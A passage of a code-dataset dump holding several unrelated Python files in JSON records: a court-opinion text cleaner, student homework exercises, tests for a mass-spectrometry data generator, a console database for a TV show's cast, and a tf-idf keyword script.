citation['cited_opinion_id'],\n 'verbatim': m['quote'],\n 'snippet': snippet_txt,\n 'span_in_snippet': m.span()\n }\n except RecursionError:\n continue\n\n def __len__(self):\n return self.num_words\n\n\n# Remove all \\f \\t (indentations)\n_chars_to_clean = str.maketrans('', '', '\\f\\t')\n\n# Regex substitutions: regex: what to substitute\n_subs = {\n r'\\u00ad\\n *': '',\n r'\\n +': '\\n',\n r'\\n{2,}': '\\n',\n r' {2,}': ' ',\n}\n\n\ndef clean_str(s: str) -> str:\n \"\"\"\n Some cleaning of the raw text.\n Reduce to single newlines, try to put together word breaks.\n\n :param s: string to clean\n :return:\n \"\"\"\n txt = s\n txt = txt.translate(_chars_to_clean)\n\n for regex, sub in _subs.items():\n txt = re.sub(regex, sub, txt)\n\n return txt\n\n\ndef clean_html(html: BeautifulSoup) -> BeautifulSoup:\n # A bit of cleaning on the original HTML\n # It includes tags for original pagination that insert numbers here and there in the text\n decompose = [\n 'pagination',\n 'citation no-link',\n 'star-pagination',\n ]\n\n for d in decompose:\n bs4_args = {'class': d}\n for f in html.find_all('span', **bs4_args):\n f: bs4.element.Tag\n f.decompose()\n\n return html\n\n\ndef text_before_after(txt: str, span: Tuple[int, int], nb_words: int) -> Tuple[str, int, int]:\n \"\"\"\n Given a text, and span within this text, extract a number of words before and after the span.\n The returned text includes the span within the original text, surrounded by nb_words.\n\n :param txt: original text\n :param span: a 2-uple (start, end) indicating the span of text to be preserved\n :param nb_words: how many words to extract\n :return: a snippet of text, length of text before the original span, length of text after the original span\n \"\"\"\n start, end = span\n before_txt = txt[:start]\n span_txt = txt[start:end]\n after_txt = txt[end:]\n\n before_txt = ' '.join(before_txt.split(' ')[-nb_words:])\n after_txt = ' '.join(after_txt.split(' ')[:nb_words])\n\n total_txt = ''.join([before_txt, span_txt, after_txt])\n return total_txt, len(before_txt), len(after_txt)\n","sub_path":"courtlistener/opinion.py","file_name":"opinion.py","file_ext":"py","file_size_in_byte":7951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"338484956","text":"'''\r\nAbbiamo immagini in formato png ottenute inserendo su di uno sfondo monocolore rettangoli \r\ndi vari colori i cui assi sono sempre parallei agli assi dell'immagine.\r\n\r\nVedi ad esempio l'immagine Img1.png\r\n\r\nPer caricare e salvare immagini PNG usate le funzioni load e save che abbiamo preparato nel modulo immagini.py .\r\n\r\nScrivere una funzione quadrato(filename, C) che prende in input:\r\n- il percorso di un file (filename) che contine un immagine in formato png della tipologia appena descritta.\r\n- una tupla C che rappresenta un colore in formato RGB (3 valori interi tra 0 e 255 compresi)\r\n\r\nLa funzione deve restituire nell'ordine:\r\n- la lunghezza del lato del quadrato pieno di dimensione massima e colore C interamente visibile nell'immagine. \r\n- le coordinate (x,y) del pixel dell'immagine che corrisponde alla posizione \r\nall'interno dell'immagine del punto in alto a sinistra del quadrato. \r\n\r\nIn caso ci siano più quadrati di dimensione massima, va considerato quello il cui punto \r\nin alto a sinistra occupa la riga minima (e a parita' di riga la colonna minima) all'interno dell' immagine. \r\n\r\nSi può assumere che nell'immagine e' sempre presente almeno un pixel del colore cercato.\r\n\r\nPer gli esempi vedere il file grade01.txt\r\n\r\nATTENZIONE: Il timeout è impostato a 10*N secondi (con N numero di test del grader).\r\n'''\r\n\r\nfrom immagini import *\r\n\n\r\ndef quadrato(filename,c):\n img=load(filename) #carica immagine\n lst_max=() #lista coordinate x,y rettangolo maggiore\n lun_max=0 #lunghezza del rettangolo maggiore\n lst=() \n \n count_y=0 #contatore righe\n count_x=0 #contatore colonne\n try:\n for y in img: #scorre righe immagine\n for x in y: #scorre colonne righe\n if(x==c): #se la tupla in x è uguale al colore c\n lst=cercaRet(img, count_y, count_x, c) #richiama funzione cercaRet \n if(lst[0]>lun_max): #se la lunghezza è maggiore di lun_max\n lun_max=lst[0] #lun_max è uguale a lunghezza\n lst_max=(lst[2], lst[1]) #lista_max aggiunge coordinate x,y del rettangolo\n count_x+=1 #incremente count_x di 1\n count_x=0 #reset count_x\n count_y+=1 #incrementa count_y di 1 \n except:\n pass\n return(lun_max,lst_max)\n \n \ndef cercaRet(img, y, x, c):\n lst=() #aggiunge alla lista lst il numero di y e x, cioè il primo pixel del rettangolo\n i=0 \n j=0\n count_lar=0 #contatore larghezza rettangolo\n count_lun=0 #contatore lunghezza rettangolo\n try:\n while(img[y+i][x+j]==c and i+1=count_lar):\n break\n else:\n i+=1 #aumenta i di 1, riga \n lst+=(count_lun, y, x) #aggiunge alla lista lst la lunghezza del rettangolo\n except:\n pass\n \n return(lst)\n \n \n \nif __name__== '__main__':\n print(quadrato('Ist3.png',(255,0,0)))\r\n","sub_path":"students/1789195/homework03/program01.py","file_name":"program01.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"421693362","text":"# Реализовать структуру «Рейтинг», представляющую собой\n# не возрастающий набор натуральных чисел.\n# У пользователя необходимо запрашивать новый элемент рейтинга.\n# Если в рейтинге существуют элементы с одинаковыми значениями,\n# то новый элемент с тем же значением должен разместиться после них.\n# Подсказка. Например, набор натуральных чисел: 7, 5, 3, 3, 2.\n# Пользователь ввел число 3. Результат: 7, 5, 3, 3, 3, 2.\n# Пользователь ввел число 8. Результат: 8, 7, 5, 3, 3, 2.\n# Пользователь ввел число 1. Результат: 7, 5, 3, 3, 2, 1.\n# Набор натуральных чисел можно за��ать непосредственно в коде,\n# например, my_list = [7, 5, 3, 3, 2].\n\n\nrating = [54, 9, 7, 6, 6, 2]\nprint(f\"Рейтинг - {rating}\")\n\nwhile True:\n number = input('Пожалуйста введите число: ')\n if not number.isdigit():\n print(\"Введены некорректные данные. Попробуйте снова\")\n continue\n else:\n number = int(number)\n\n idx = None\n\n for i, num in enumerate(rating):\n if number > num:\n idx = i\n break\n\n if idx is None:\n rating.append(number)\n else:\n rating.insert(idx, number)\n print(rating)\n\n q = input('Формирование списка завершено? (y/N)) ')\n if q.lower() == 'y':\n break\n","sub_path":"Lesson2_Task_5.py","file_name":"Lesson2_Task_5.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"319935583","text":"import numpy as np\nimport pytest\n\nfrom ms2deepscore import SpectrumBinner\nfrom ms2deepscore.data_generators import DataGeneratorAllInchikeys\nfrom ms2deepscore.data_generators import DataGeneratorAllSpectrums\nfrom tests.test_user_worfklow import load_processed_spectrums, get_reference_scores\n\n\ndef create_test_data():\n spectrums = load_processed_spectrums()\n tanimoto_scores_df = get_reference_scores()\n ms2ds_binner = SpectrumBinner(100, mz_min=10.0, mz_max=1000.0, peak_scaling=0.5)\n binned_spectrums = ms2ds_binner.fit_transform(spectrums)\n return binned_spectrums, tanimoto_scores_df\n\n\ndef test_DataGeneratorAllInchikeys():\n \"\"\"Basic first test for DataGeneratorAllInchikeys\"\"\"\n # Get test data\n binned_spectrums, tanimoto_scores_df = create_test_data()\n\n # Define other parameters\n batch_size = 10\n dimension = 88\n\n selected_inchikeys = tanimoto_scores_df.index[:80]\n # Create generator\n test_generator = DataGeneratorAllInchikeys(binned_spectrums=binned_spectrums,\n selected_inchikeys=selected_inchikeys,\n reference_scores_df=tanimoto_scores_df,\n dim=dimension, batch_size=batch_size,\n augment_removal_max=0.0,\n augment_removal_intensity=0.0,\n augment_intensity=0.0)\n\n A, B = test_generator.__getitem__(0)\n assert A[0].shape == A[1].shape == (10, 88), \"Expected different data shape\"\n assert B.shape[0] == 10, \"Expected different label shape.\"\n assert test_generator.settings[\"num_turns\"] == 1, \"Expected different default.\"\n assert test_generator.settings[\"augment_intensity\"] == 0.0, \"Expected changed value.\"\n\n\ndef test_DataGeneratorAllSpectrums():\n \"\"\"Basic first test for DataGeneratorAllSpectrums\"\"\"\n # Get test data\n binned_spectrums, tanimoto_scores_df = create_test_data()\n\n # Define other parameters\n batch_size = 10\n dimension = 88\n\n # Create generator\n test_generator = DataGeneratorAllSpectrums(binned_spectrums=binned_spectrums[:150],\n reference_scores_df=tanimoto_scores_df,\n dim=dimension, batch_size=batch_size,\n augment_removal_max=0.0,\n augment_removal_intensity=0.0,\n augment_intensity=0.0)\n\n A, B = test_generator.__getitem__(0)\n assert A[0].shape == A[1].shape == (10, 88), \"Expected different data shape\"\n assert B.shape[0] == 10, \"Expected different label shape.\"\n assert test_generator.settings[\"num_turns\"] == 1, \"Expected different default.\"\n assert test_generator.settings[\"augment_intensity\"] == 0.0, \"Expected changed value.\"\n\n\ndef test_DataGeneratorAllSpectrums_no_inchikey_leaking():\n \"\"\"Test if non-selected InChIKeys are correctly removed\"\"\"\n # Get test data\n binned_spectrums, tanimoto_scores_df = create_test_data()\n\n # Define other parameters\n batch_size = 8\n dimension = 88\n\n # Create generator\n test_generator = DataGeneratorAllSpectrums(binned_spectrums=binned_spectrums[:8],\n reference_scores_df=tanimoto_scores_df,\n dim=dimension, batch_size=batch_size,\n augment_removal_max=0.0,\n augment_removal_intensity=0.0,\n augment_intensity=0.0)\n\n assert test_generator.reference_scores_df.shape == (6, 6), \"Expected different reduced shape of labels\"\n expected_inchikeys = ['BBXXLROWFHWFQY',\n 'FBOUIAKEJMZPQG',\n 'GPXLRLUVLMHHIK',\n 'JXCGFZXSOMJFOA',\n 'RZILCCPWPBTYDO',\n 'UYJUZNLFJAWNEZ']\n found_inchikeys = test_generator.reference_scores_df.columns.to_list()\n found_inchikeys.sort()\n assert found_inchikeys == expected_inchikeys, \\\n \"Expected different InChIKeys to remain in reference_scores_df\"\n\n # Test if the expected labels are returned by generator\n expected_labels = np.array([0.38944724, 0.39130435, 0.39378238, 0.40045767, 0.40497738,\n 0.40930233, 0.43432203, 0.46610169, 0.47416413, 0.48156182,\n 0.50632911, 0.5214447 , 0.52663934, 0.59934853, 0.63581489])\n repetitions = 200\n collect_results = np.zeros(repetitions * batch_size) # Collect 2000 results\n for i in range(repetitions):\n _, B = test_generator.__getitem__(0)\n collect_results[batch_size*i:batch_size*(i+1)] = B\n assert len(np.unique(collect_results)) <= 15, \"Expected max 15 possible results\"\n present_in_expected_labels = [(np.round(x,6) in list(np.round(expected_labels, 6))) for x in np.unique(collect_results)]\n assert np.all(present_in_expected_labels), \"Got unexpected labels from generator\"\n\n\ndef test_DataGeneratorAllSpectrums_asymmetric_label_input():\n # Create generator\n binned_spectrums, tanimoto_scores_df = create_test_data()\n asymmetric_scores_df = tanimoto_scores_df.iloc[:, 2:]\n with pytest.raises(ValueError) as msg:\n _ = DataGeneratorAllSpectrums(binned_spectrums=binned_spectrums,\n reference_scores_df=asymmetric_scores_df,\n dim=101)\n assert \"index and columns of reference_scores_df are not identical\" in str(msg), \\\n \"Expected different ValueError\"\n\n\ndef test_DataGeneratorAllSpectrums_fixed_set():\n \"\"\"\n Test whether use_fixed_set=True toggles generating the same dataset on each epoch.\n \"\"\"\n # Get test data\n binned_spectrums, tanimoto_scores_df = create_test_data()\n\n # Define other parameters\n batch_size = 4\n dimension = 88\n\n # Create normal generator\n normal_generator = DataGeneratorAllSpectrums(binned_spectrums=binned_spectrums[:8],\n reference_scores_df=tanimoto_scores_df,\n dim=dimension, batch_size=batch_size,\n use_fixed_set=False)\n\n # Create generator that generates a fixed set every epoch\n fixed_generator = DataGeneratorAllSpectrums(binned_spectrums=binned_spectrums[:8],\n reference_scores_df=tanimoto_scores_df,\n dim=dimension, batch_size=batch_size,\n num_turns=5, use_fixed_set=True)\n\n def collect_results(generator):\n n_batches = len(generator)\n X = np.zeros((batch_size, dimension, 2, n_batches))\n y = np.zeros((batch_size, n_batches))\n for i, batch in enumerate(generator):\n X[:, :, 0, i] = batch[0][0]\n X[:, :, 1, i] = batch[0][1]\n y[:, i] = batch[1]\n return X, y\n\n first_X, first_y = collect_results(normal_generator)\n second_X, second_y = collect_results(normal_generator)\n assert not np.array_equal(first_X, second_X)\n assert first_y.shape == (4, 2), \"Expected different number of labels\"\n\n first_X, first_y = collect_results(fixed_generator)\n second_X, second_y = collect_results(fixed_generator)\n assert np.array_equal(first_X, second_X)\n assert first_y.shape == (4, 10), \"Expected different number of labels\"\n\n # Create another fixed generator based on the same dataset that should generate the same\n # fixed set\n fixed_generator2 = DataGeneratorAllSpectrums(binned_spectrums=binned_spectrums[:8],\n reference_scores_df=tanimoto_scores_df,\n dim=dimension, batch_size=batch_size,\n num_turns=5, use_fixed_set=True)\n first_X, first_y = collect_results(fixed_generator)\n second_X, second_y = collect_results(fixed_generator2)\n assert np.array_equal(first_X, second_X)\n","sub_path":"tests/test_data_generators.py","file_name":"test_data_generators.py","file_ext":"py","file_size_in_byte":8309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"195677143","text":"#%%\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 2 13:47:10 2020\n\n@author: maria\n\"\"\"\n\nmembers = {'Jeon So Min': {'firstEp': '360',\n 'joinYear': '2018',\n 'lastEp': '-',\n 'nicknames': [],\n 'occupation': 'Actress'},\n 'Song Ji Hyo': {'firstEp': '1',\n 'joinYear': '2010',\n 'lastEp': '-',\n 'nicknames': ['Mong Ji Hyo', 'Ace'],\n 'occupation': 'Actress'},\n 'Yoo Jae Seok': {'firstEp': '1',\n 'joinYear': '2010',\n 'lastEp': '-',\n 'nicknames': ['Grasshopper'],\n 'occupation': 'Comedian'}}\n # use members.update(newMemb()) to add member etc. https://realpython.com/python-dicts/\n \n#%%\n#--------------Misc. Functions--------------------------#\ndef check(list1, element):\n if type(list1) == dict:\n list2 = [x.lower() for x in list(list1.keys())]\n if element.lower() in list2:\n return 1\n else:\n return 0\n else:\n list2 = [x.lower() for x in list1]\n if element.lower() in list2:\n return 1\n else:\n return 0\n \ndef pause():\n programPause = input(\"Press to continue...\")\n \ndef changeCase(string1):\n string2 = string1[0].upper()\n for i in range(1, len(string1)):\n if string1[i-1] == ' ':\n string2 += string1[i].upper()\n else:\n string2 += string1[i].lower()\n return string2\n\n\n#%%\n#--------------Ep Functions--------------------------#\ndef newEp(mainCast): #input dictionary of main cast\n episode = {}\n episode['number'] = input('Enter episode number: ')\n episode['year'] = input('Enter the year the episode was aired: ')\n episode['main_cast'] = []\n for i in range(0, len(mainCast)):\n if int(mainCast[str(i+1)]['firstEp']) <= int(episode['number']):\n while True:\n q = 'Is ' + mainCast[str(i+1)]['name'] + ' in the episode? y/n: '\n inEp = input(q)\n if inEp.lower() =='y':\n episode['main_cast'].append(mainCast[str(i+1)]['name'])\n break\n elif inEp.lower() == 'n':\n break\n else:\n print('---------------')\n print('Unknown input:', inEp, '.')\n print('Acceptable inputs are \"y\", \"Y\", \"n\" and \"N\".')\n continue\n else:\n continue\n return episode\n \n\ndef viewEp():\n print('Viewing...')\n\ndef editEp():\n print('Editing...')\n\ndef deleteEp():\n print('Deleting...')\n\n\ndef chooseActEp():\n acceptInp = ['n', 'v', 'e', 'd', 'q']\n print('EPISODE MENU')\n print(' n -- Add an episode.')\n print(' v -- View data of an episode.')\n print(' e -- Edit the data of an episode.')\n print(' d -- Delete an episode.')\n print(' q -- Go back to main menu.')\n choice = input('Choose one of the above: ')\n choice = choice.lower()\n if choice in acceptInp:\n return choice\n else:\n print('What is', choice,'?')\n print('Not acceptable input.')\n print('Learn how to read you moron.')\n return None\n\n\ndef epLoop():\n while True:\n choice = chooseActEp()\n if choice == 'n':\n newEp()\n elif choice == 'v':\n viewEp()\n elif choice == 'e':\n editEp()\n elif choice == 'd':\n deleteEp()\n elif choice == 'q':\n print('Going back to main menu.')\n print()\n break\n else:\n print('...Bye...')\n continue\n\n#%%\n#--------------Cast Functions--------------------------#\n\n# Add a member to the list\ndef addMembDet(name): # OK--------\n member = {}\n member[name] = {}\n member[name]['occupation'] = input('Other Job: ')\n member[name]['joinYear'] = input('Joined in: ')\n member[name]['firstEp'] = input('First episode: ')\n member[name]['lastEp'] = input('Last episode: ')\n member[name]['nicknames'] = []\n flag1 = True # Checks if you want to add a nickname. The loop ensures that with any input other than the allowed the program reasks the question.\n while flag1 == True:\n q = 'Does '+ name + ' have nicknames? y/n: '\n flag2 = input(q)\n if flag2.lower() == 'y':\n i = 1\n flag3 = True\n while flag3 == True: # Input the nicknames and ask if there are other.\n out_ = 'Type nickname #' + str(i) + ': '\n nickN = input(out_)\n member[name]['nicknames'].append(nickN)\n print('Added nickname \"', nickN, '\" for ', name, '.')\n while True:\n addAnother = input('Is there another nickname? y/n: ')\n if addAnother.lower() == 'n':# No other nicknames\n flag3 = False # Exit the adding nickname loop.\n flag1 = False # Exit the main nickname loop.\n break # Exit the additional nickname loop.\n elif addAnother.lower() == 'y':\n i = i+1 # Increase nickname counter by 1.\n break # Go back to asking for the i+1 nickname.\n else:\n print('Did not recognize input.')\n continue # Reask the question for additional nicknames.\n elif flag2.lower() == 'n':\n break # No nicknames. Exit the main nickname loop.\n else:\n print('Did not recognize answer.')\n continue # Reask if there are nicknames.\n print()\n print('Going back to member menu.')\n return member\n \ndef newMemb(members): # OK--------\n name = input('Name: ')\n alExists = check(members, name) # Check if input name already logged\n name = changeCase(name)\n if alExists == 1:\n print(name, 'is already in the database.')\n flag1 = input('Do you want to add them a second time? y/n: ')\n while True:\n if flag1.lower() == 'y':\n member = addMembDet(name)\n return member\n elif flag1.lower() == 'n':\n print('Going back to member menu.')\n break\n else:\n print('Did not recognize input.')\n continue # Reask the question.\n else:\n member = addMembDet(name)\n return member\n\n# Choose member menu\ndef choose(list_): # Prints a list and asks you to pick one of the elements.\n print('----------------------------------')\n print('List of current and former members')\n i = 1 # counter\n for element_ in list_:\n temp = ' ' + str(i) + ' -- ' + element_ # List all the members.\n print(temp)\n i = i+1\n print('----------------------------------')\n while True:\n choice = input('Type the name to view details: ')\n flag1 = check(members, choice)\n choice = changeCase(choice)\n if flag1 == 1: # Check if the input is a name from the list\n return(choice)\n else:\n print('-------------')\n print('Unknown input', choice) # User input no in the list. Ask again for input.\n print('Select a name from the list.')\n continue\n \n \n# Print a chosen member's details\ndef printMembDet(members, choice): # Dictionary input\n out_ = \"{0:>28} {1:<25}\"\n print('------------------------------------------------------')\n print(out_.format('Name:', choice))\n print(out_.format('Occupation:',members[choice]['occupation']))\n print(out_.format('Joined in Year:', members[choice]['joinYear']))\n print(out_.format('First appeared in episode:', members[choice]['firstEp']))\n print(out_.format('Last appeared in episode:', members[choice]['lastEp']))\n if len(members[choice]['nicknames']) != 0:\n print(out_.format('Nicknames:', members[choice]['nicknames'][0])) # 1st nickname\n for i in range(1, len(members[choice]['nicknames'])):\n print(out_.format(' ', members[choice]['nicknames'][i])) # The rest of the nicknames\n else:\n print(out_.format('Nicknames:', '-')) # No nicknames.\n print('------------------------------------------------------')\n \n# View a member from the list\ndef viewMemb(members):\n choice = choose(members)\n printMembDet(members,choice)\n \n\n# Delete a member form the list\ndef delMemb(members): # OK--------\n choice = choose(members)\n print()\n print('Details of the member you want to delete')\n print()\n printMembDet(members, choice)\n choice = changeCase(choice)\n quest_ = 'Are you sure you want to permenantly delete ' + choice + '? Y/N: '\n while True:\n flag1 = input(quest_)\n if flag1.lower() == 'y':\n del members[choice]\n delMes = choice + ' no longer in the members list.' # Message that informs who you deleted.\n print(delMes)\n print('Going back to member menu.')\n break\n elif flag1.lower() == 'n':\n print(choice, 'NOT deleted.')\n break\n else:\n print('-------------')\n print('Unknown input', choice)\n print('Select a name from the list.')\n continue\n\n# Edit a member's information\ndef editMemb(members):\n choice = choose(members)\n while True:\n print()\n print('Details of the member you want to edit')\n printMembDet(members, choice)\n print()\n print('Do you want to edit:')\n print(' 1 -- the name,')\n print(' 2 -- the occupation,')\n print(' 3 -- the year they joined the show,')\n print(' 4 -- the first episode they appeared in,')\n print(' 5 -- the last episode they appeared in,')\n print(' 6 -- one or more of the nicknames')\n editAction = input('Choose the corresponing number. ')\n#--------------------#\n if editAction == '1':\n state_ = 'Change name ' + choice + ' to: '\n newName = input(state_)\n newName = changeCase(newName)\n members[newName] = members[choice]\n del members[choice]\n choice = newName\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n#--------------------#\n elif editAction == '2':\n state_ = 'Change ' + choice + \"'s occupation from \" + members[choice]['occupation'] + ' to: '\n newOcc = input(state_)\n members[choice]['occupation'] = newOcc\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n#--------------------#\n elif editAction == '3':\n state_ = choice + ' joined in year: '\n year = input(state_)\n members[choice]['joinYear'] = year\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n#--------------------#\n elif editAction == '4':\n state_ = choice + ' first appeared in episode: '\n ep = input(state_)\n members[choice]['firstEp'] = ep\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n#--------------------#\n elif editAction == '5':\n state_ = choice + ' appeared last in episode: '\n ep = input(state_)\n members[choice]['lastEp'] = ep\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n#--------------------#\n elif editAction == '6':\n print('For', choice, 'do you want to:')\n print(' 1 -- Add a nickname')\n print(' 2 -- Edit a nickname')\n print(' 3 -- Delete a nickname')\n nickAct = input('Choose the corresponding number: ')\n if nickAct == '1':\n nickN = input('Type the new nickname: ')\n members[choice]['nicknames'].append(nickN)\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break \n elif nickAct == '2':\n if len(members[choice]['nicknames']) != 0:\n oldN = input('Which nickname do you want to edit? ')\n flag1 = check(members[choice]['nicknames'], oldN)\n if flag1 == 1:\n state_ = 'Change nickname \"' + oldN + '\" to: '\n newN = input(state_)\n members[choice]['nicknames'].remove(oldN)\n members[choice]['nicknames'].append(newN)\n else:\n print(choice, 'does not have', oldN, 'in nickname list.')\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n else:\n state_ = choice + \"'s data do not include any nicknames yet.\"\n print(state_)\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n elif nickAct == '3':\n if len(members[choice]['nicknames']) != 0:\n state_ = 'Which nickname you want to delete for ' + choice + '? '\n delN = input(state_)\n members[choice]['nicknames'].remove(delN)\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n else:\n state_ = choice + \"'s data do not include any nicknames yet.\"\n print(state_)\n editAgain = 'Do you want to keep editing ' + choice +'? Y/N: '\n flag2 = input(editAgain)\n if flag2.lower() == 'y':\n continue\n elif flag2.lower() == 'n':\n break\n else:\n print('Did not recognize input. Returning...')\n break\n else:\n print('Did not recognize input. Choose again what you want to edit.')\n continue\n else:\n print('Did not recognize input.')\n continue\n\ndef chooseActMemb():\n acceptInp = ['n', 'v', 'e', 'd', 'q']\n print()\n print('MEMBER MENU')\n print()\n print(' n -- Add a new member.')\n print(' v -- View member dets.')\n print(' e -- Edit member dets.')\n print(' d -- Delete a member.')\n print(' q -- Go back to main menu.')\n choice = input('Choose one of the above: ')\n choice = choice.lower()\n if choice in acceptInp:\n return choice\n else:\n print('What is', choice,'?')\n print('Not acceptable input.')\n print('Learn how to read you moron.')\n return None\n\ndef castLoop():\n while True:\n choice = chooseActMemb()\n if choice == 'n':\n mem = newMemb(members)\n if mem != None:\n members.update(mem)\n print(mem) # Just for checking, must go when finished.\n elif choice == 'v':\n viewMemb(members)\n pause()\n elif choice == 'e':\n editMemb(members)\n elif choice == 'd':\n delMemb(members)\n elif choice == 'q':\n print('Going back to main menu.')\n print()\n break\n else:\n print('...Bye...')\n continue\n\n\n\n#%%\n#--------------Guest Functions--------------------------#\ndef newGuest():\n print('Adding guest')\n \ndef viewGuest():\n print('Viewing guest data')\n \ndef editGuest():\n print('Editing guest data')\n \ndef delGuest():\n print('Deleting guest')\n\n\ndef chooseActGuest():\n acceptInp = ['n', 'v', 'e', 'd', 'f', 'q']\n print('GUEST MENU')\n print(' n -- Add new guest.')\n print(' v -- View guest dets.')\n print(' e -- Edit guest dets.')\n print(' d -- Delete a guest.')\n print(' q -- Go back to main menu.')\n choice = input('Choose one of the above: ')\n choice = choice.lower()\n if choice in acceptInp:\n return choice\n else:\n print('What is', choice,'?')\n print('Not acceptable input.')\n print('Learn how to read you moron.')\n return None\n\ndef guestLoop():\n while True:\n choice = chooseActGuest()\n if choice == 'n':\n newGuest()\n elif choice == 'v':\n viewGuest()\n elif choice == 'e':\n editGuest()\n elif choice == 'd':\n delGuest()\n elif choice == 'q':\n print('Going back to main menu.')\n print()\n break\n else:\n print('...Bye...')\n continue\n\n#%%\n#-------------Main Loop---------------------------------#\n\ndef mainChoice():\n acceptInp = ['e', 'm', 'g', 'q']\n print('MAIN MENU')\n print(' e -- Enter episode menu.')\n print(' m -- Enter member menu.')\n print(' g -- Enter guest menu.')\n print(' q -- Quit.')\n choice = input('Choose one of the above: ')\n choice = choice.lower()\n if choice in acceptInp:\n return choice\n else:\n print('What is', choice,'?')\n print('Not acceptable input.')\n print('Learn how to read you moron.')\n return None\n\ndef mainLoop():\n while True:\n choice = mainChoice()\n if choice == 'e':\n epLoop()\n elif choice == 'm':\n castLoop()\n elif choice == 'g':\n guestLoop()\n elif choice == 'q':\n print('Quiting...')\n break\n else:\n print('...Bye...')\n continue\n#%%\nimport csv\nif __name__ == '__main__':\n mainLoop()","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":19898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"383185686","text":"\n\nfrom xai.brain.wordbase.nouns._crust import _CRUST\n\n#calss header\nclass _CRUSTED(_CRUST, ):\n\tdef __init__(self,): \n\t\t_CRUST.__init__(self)\n\t\tself.name = \"CRUSTED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"crust\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_crusted.py","file_name":"_crusted.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"319158657","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# ==============================================================================\n# \\file gen-tfidf-keywords.py\n# \\author chenghuige \n# \\date 2017-10-28 11:13:50.023262\n# \\Description \n# ==============================================================================\n\n \nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nimport sys\nimport os\nimport dill\nimport numpy as np\n\nimport gezi\nfrom gezi import Segmentor\nsegmentor = Segmentor()\n\n\nflags = tf.app.flags\nFLAGS = flags.FLAGS\nflags.DEFINE_string('valid_resource_dir', '/home/gezi/new/temp/image-caption/ai-challenger/tfrecord/seq-basic/valid', '')\n\ntest_dir = FLAGS.valid_resource_dir\ndocument_frequency_path = os.path.join(test_dir, 'valid_refs_document_frequency.dill')\nassert os.path.exists(document_frequency_path), document_frequency_path\nref_len_path = os.path.join(test_dir, 'valid_ref_len.txt')\nassert os.path.exists(ref_len_path), ref_len_path\ndocument_frequency = dill.load(open(document_frequency_path))\nref_len = float(open(ref_len_path).readline().strip())\nprint('document_frequency {} ref_len {}'.format(len(document_frequency), ref_len), file=sys.stderr)\n\ndef calc_tfidf(word, term_freq):\n df = np.log(max(1.0, document_frequency[(word, )]))\n #print(word, term_freq, (ref_len - df), float(term_freq) * (ref_len - df))\n return float(term_freq) * (ref_len - df)\n \ntfidf_map = {}\nnum_lines = 0\nfor line in sys.stdin:\n img, captions_str = line.strip().split('\\t')\n\n captions = captions_str.split('\\x01')\n\n count_map = {}\n for text in captions:\n text = gezi.norm(text)\n words = segmentor.Segment(text)\n # right now only consider onegram\n for word in words:\n count_map.setdefault(word, 0)\n count_map[word] += 1\n \n tfidf_list = [(calc_tfidf(word, count), word) for word, count in count_map.items()]\n tfidf_list.sort(reverse=True)\n\n for tfidf, word in tfidf_list:\n tfidf_map.setdefault(word, 0)\n tfidf_map[word] += tfidf\n\n num_lines += 1\n\ntfidf_list = [(tfidf, word) for word, tfidf in tfidf_map.items()]\ntfidf_list.sort(reverse=True)\n\nfor tfidf, word in tfidf_list:\n print(word, tfidf / num_lines , sep='\\t')\n","sub_path":"deepiu/image_caption/prepare/ai-challenger/valid/gen-tfidf-dict.py","file_name":"gen-tfidf-dict.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"396430978","text":"\n\n#calss header\nclass _MAINSTREAM():\n\tdef 